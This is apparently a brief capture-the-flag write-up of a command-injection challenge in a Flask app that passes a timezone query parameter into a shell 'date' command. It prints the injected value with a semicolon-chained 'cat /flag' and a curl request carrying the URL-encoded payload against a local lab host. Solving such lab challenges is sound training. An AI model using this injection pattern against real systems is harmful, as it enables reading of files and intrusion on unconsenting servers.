CMDi 4

cat /challenge/server

The Flask app takes a timezone as query param (/initiative?time-region) and executes TZ={time-region} date

Executing:
TZ=Hogwarts;cat /flag; date

Start the server and use curl:

curl http://challenge.localhost:80/initiative?time-region=Hogwarts%3Bcat%20%2Fflag%3B